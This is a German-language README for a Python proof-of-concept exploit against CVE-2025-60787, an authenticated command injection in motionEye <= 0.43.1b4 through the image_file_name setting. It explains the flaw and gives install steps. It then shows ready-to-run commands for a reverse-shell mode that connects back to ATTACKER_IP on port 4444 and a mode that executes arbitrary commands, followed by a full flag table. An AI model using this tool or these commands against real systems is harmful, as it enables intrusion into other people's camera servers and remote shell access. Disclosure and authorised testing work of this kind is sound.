
Python-PoC für CVE-2025-60787, authentifizierte RCE (Remote Code Execution) durch OS-Befehlsinjektion in motionEye <= 0.43.1b4 über die nicht bereinigte image_file_name-Konfiguration
Authentifizierte Remote-Codeausführung in motionEye <= 0.43.1b4 über einen nicht bereinigten motion-Konfigurationsparameter
Autor: d3vn0mi
| Feld | Details |
|---|---|
| CVE-ID | CVE-2025-60787 |
| CVSS-Score | 7.2 (Hoch) |
| Typ | OS-Kommando-Injection (CWE-78) |
| Betroffen | motionEye <= 0.43.1b4 |
| Behoben in | 0.43.1b5 |
motionEye akzeptiert beliebige Zeichenfolgen in Konfigurationsfeldern wie image_file_name und schreibt sie direkt in Motion-Konfigurationsdateien (/etc/motioneye/camera-*.conf). Wenn der Motion-Dienst neu startet, interpretiert er diese Felder als shell-expandierbare Zeichenfolgen, wodurch ein authentifizierter Angreifer beliebige Betriebssystembefehle einschleusen und ausführen kann.
Die Weboberfläche enthält eine clientseitige Validierung für diese Felder, die jedoch trivial umgangen werden kann, indem direkt manipulierte API-Anfragen gesendet werden.
image_file_name-Wert per POST übermittelncapture_mode: interval-snapshots)requests-Bibliothekgit clone https://github.com/d3vn0mi/CVE-2025-60787-POC.git
cd CVE-2025-60787-POC
pip install -r requirements.txt
Der Exploit unterstützt zwei Modi: Reverse Shell und Befehlsausführung.
Starten Sie einen Listener auf Ihrem Rechner und führen Sie dann Folgendes aus:
python3 exploit.py revshell \
--url http://TARGET:8765 \
--user admin \
--password SECRET \
-i ATTACKER_IP \
--port 4444
python3 exploit.py command \
--url http://TARGET:8765 \
--user admin \
--password SECRET \
-e "id; whoami"
| Flag | Beschreibung |
|---|---|
--url | Ziel-motionEye-URL inklusive Port |
--user | motionEye-Benutzername |
--password | motionEye-Passwort |
-i / --host | Listener-IP (Revshell-Modus) |
--port | Listener-Port (Revshell-Modus) |
-e / --exec | Auszuführender Befehl (Befehlsmodus) |
--camera-id | Eine bestimmte Kamera-ID ansprechen |
--sh | /bin/sh anstelle von /bin/bash verwenden |
--no-verify | TLS-Zertifikatsprüfung überspringen |
--proxy | Datenverkehr über einen Proxy leiten (z. B. http://127.0.0.1:8080) |
Dieses Tool wird ausschließlich für autorisierte Sicherheitstests und zu Bildungszwecken bereitgestellt. Unautorisierter Zugriff auf Computersysteme ist illegal. Der Autor übernimmt keine Haftung für Missbrauch dieser Software. Holen Sie vor dem Testen stets eine ordnungsgemäße Genehmigung ein.
Dieses Projekt ist unter der MIT-Lizenz lizenziert.